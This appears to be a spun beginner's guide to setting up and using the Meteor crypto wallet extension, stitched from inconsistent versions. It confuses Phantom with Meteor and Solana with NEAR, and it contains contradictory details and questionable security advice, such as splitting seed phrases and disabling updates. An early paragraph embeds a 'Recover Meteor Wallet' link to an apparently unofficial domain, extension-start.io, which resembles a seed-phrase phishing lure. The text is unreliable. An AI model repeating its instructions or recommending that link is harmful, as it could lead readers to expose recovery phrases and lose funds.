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img width: 750px; iframe.movie width: 750px; height: 450px; Meteor wallet setup and usage guide for beginners Meteor wallet extension setup and usage guide Download Phantom from the official website (phantom.app) or your device’s app store. After installation, click “Create New Vault” – the system will generate a 12-word secret phrase. Write this phrase on paper, not on a computer or phone. Never screenshot it. This phrase is the only way to restore access if you lose your device or clear browser data. Next, set a strong vault password (at least 8 characters, mix of letters, numbers, and symbols). This password locks your client locally but does not [https://extension-start.io/meteor-recovery-guide.php Recover Meteor Wallet] your funds – only the 12-word phrase does that. Confirm the phrase by selecting words in the correct order. Once confirmed, your public address (a long string starting with a capital letter) appears. This is your receiving ID. To add funds, copy this public address and use it on an exchange (like Binance, Coinbase, or Kraken) to withdraw SOL or any SPL token. Transactions settle in under 30 seconds on Solana, with fees around $0.0002 each. Avoid sending tokens from other networks (e.g., Ethereum) directly – use bridges like Wormhole or Allbridge first, and test with a small amount. For sending, click “Send,” paste the recipient’s public address, input the amount, set a priority fee (default is usually fine for regular transfers), and confirm. Always double-check the first and last 4 characters of the address – there is no reversal. To swap tokens, use the built-in swap feature (powered by Jupiter Aggregator) for the best rates across multiple liquidity pools. Add custom tokens by pasting their contract address (find on Solscan or CoinGecko) to display balances. Backup your secret phrase immediately and store it in a fireproof safe or safety deposit box. Do not enter this phrase into any website or app except the original Phantom interface. If you need a second vault for testing, create a separate profile in your browser or use a different mobile device. For advanced security, pair a Ledger hardware vault via USB or Bluetooth – all signing happens offline, protecting against malware. Meteor Wallet Setup and Usage Guide for Beginners Download the official browser extension solely from the Chrome Web Store or Firefox Add-ons page, verifying the developer is "Meteor Wallet" with over 100,000 users and a 4.5-star rating. Click "Add to Chrome" and pin the extension to your toolbar. Avoid any third-party mirrors. Upon first click, select "Create a new vault". The system will present a 12-word secret recovery phrase; write this down on paper using a permanent marker–never screenshot, copy-paste, or store it digitally. Store the paper in a fire-resistant safe. This phrase is your sole means of regaining access. After confirming your recovery sequence by selecting words in the correct order, set a local access PIN code (minimum 6 digits) and an optional biometric lock via your device's fingerprint sensor. This PIN only secures local session access, not the private keys themselves–those remain encrypted on your browser's local storage. The vault generates five default addresses on the NEAR Protocol. For your first transaction, fund address #0 with at least 0.1 NEAR from a centralized exchange. Copy the address by clicking the copy icon next to it–do not type it manually to avoid character errors. To receive tokens, tap "Receive" and select the target network (NEAR or Aurora). The app displays a QR code and the alphanumeric wallet ID. For sending, click "Send", paste the recipient's address, and specify the exact amount in NEAR (not USD equivalent–the exchange rate fluctuates). The interface shows the estimated network fee (typically 0.0012 NEAR per transfer) plus a dynamic gas fee for contract interactions. Confirm the transaction using your PIN. Always triple-check the first and last four characters of the address to prevent loss from clipboard hijackers. Navigate to "Settings" > "Networks" to add a custom RPC endpoint for testnets like TestNet or MainNet. Use the provided endpoints from the official NEAR documentation. Under "Security", enable "Show raw transaction data" before signing any unknown smart contract interactions–this reveals the exact function calls and values being authorized. Disable "Auto-approve dApp connections" to manually confirm every site permission. For advanced users, export your private key in JSON format (not plaintext) for backup, but keep this file offline on an encrypted USB drive. For transaction history, each entry displays the block hash, timestamp, and status indicator (green for confirmed, yellow for pending, red for failed). Failed transactions deduct the network fee regardless of outcome–check error messages like "Not enough gas" or "ActionError" to adjust gas limits next time. To disconnect a dApp, click the "Connected sites" list in Settings and revoke each session individually. Reset your entire vault only if your secret phrase is compromised; otherwise, software updates auto-apply without data loss. Delete the extension permanently only after verifying you possess the paper backup of the 12-word key. Downloading the Official Meteor Wallet Browser Extension Visit the official Chrome Web Store and search for “Meteor” (the exact name is “Meteor Wallet”). Verify the developer is listed as “Meteor Wallet” and that the extension has over 50,000 users with a 4.5+ star rating. Avoid any third-party clones or unofficial versions that appear in search results. Click “Add to Chrome” and then “Add extension” in the pop-up. The browser will automatically download a compressed package (approximately 3.2 MB) and install it silently. A small icon will appear in your browser’s top-right toolbar–an orange circle with a white “M” inside. If it does not appear, click the puzzle piece icon to pin it manually. Before proceeding, right-click the icon and select “Manage extension.” Toggle “Allow access to file URLs” to off–this prevents potential phishing attacks. Under “Site access,” choose “On click” to ensure the software only activates when you specifically open a supported decentralized application. Resist the default “On all sites” option. Open a new tab and navigate to a trusted blockchain explorer (such as Solscan.io for Solana or Subscan for Polkadot). Click the extension icon; a welcome screen will appear. The version number should be 7.0.0 or higher–older builds lack critical security patches. If your build is outdated, manually update via chrome://extensions by enabling “Developer mode” and clicking “Update.” Cross-check the cryptographic hash of the downloaded file against the official repository on GitHub. On the Meteor Wallet GitHub releases page, locate the SHA256 checksum for your browser’s extension file. Use a local tool (sha256sum on Linux or Get-FileHash on Windows PowerShell) to verify it matches exactly. Any discrepancy indicates a tampered file–uninstall immediately and report the issue. Finally, disable automatic updates in your browser’s extension manager until you confirm the next release’s legitimacy via the project’s official Twitter or Discord announcements. This prevents an unverified update from replacing the audited version you just installed. Schedule a manual check every 30 days to stay current without risking a malicious patch. Creating Your First Wallet and Safely Saving Your Seed Phrase Download the official Meteor app only from the Google Play Store, Apple App Store, or a direct APK from the verified GitHub repository of the Meteor team. Never use links from Telegram ads or unknown websites. Open the app and tap "Create New Account" (ignore the Import option for your first private vault). The interface will display 12 or 24 words in a specific sequence. You must write these down exactly as shown, with correct spelling and order. Use a steel engraving tool to stamp these words onto fireproof metal plates (e.g., Cryptosteel or Billfodder). Do not store them in a password manager, cloud service, email draft, screenshot, or Note app. Store one metal plate in a home safe, and a second identical copy in a bank safety deposit box or a trusted family member’s secure location. The software will ask you to confirm a few random words from your list before completing creation. This tests your backup accuracy. After verification, your account is activated. The private cryptographic key never leaves your device; only the public address is broadcast to the blockchain. If you lose access to your phone, your assets are permanently recoverable only via that written seed phrase. No customer support, password reset, or company database can restore your funds if you lose the words. Test your recovery plan immediately by installing the app on a second offline device and entering your words to confirm they unlock the same address, then delete that app. Never photograph or photocopy your seed list. Never type it into any website, even if it looks like the official app. Never store it on a computer that connects to the internet. Instead of storing the entire seed in one location, split your 24-word phrase into three parts: words 1-8 at location A, words 9-16 at location B, and words 17-24 at location C. No single breach reveals the full key. Alternatively, use a passphrase (an additional word you memorize) appended to the seed–this creates a completely different address even if thieves steal your 24-word list. For long-term storage, avoid paper (fire, water, or fading) and use titanium or stainless steel washers stamped with a punch kit. Burial in sealed PVC pipe at a undisclosed outdoor location adds physical redundancy, but maintain coordinates only in your memory. Verify your seed phrase reading every six months to catch any degradation or corrosion on the metal medium. Q&A: I just downloaded the Meteor Wallet extension, but I only see a "Create Wallet" option. I already have a wallet from another app. How do I import my existing account instead of making a new one? To import an existing wallet, you need to click on the "I already have a wallet" text, which is usually located just below the main "Create Wallet" button on the welcome screen. This will take you to a menu where you can paste your seed phrase (a set of 12 or 24 words). Enter the phrase exactly as given, with the words in the correct order and separated by spaces. You can also import using a private key if you prefer. After entering your data and setting a password for this new browser extension session, your old account will be available.

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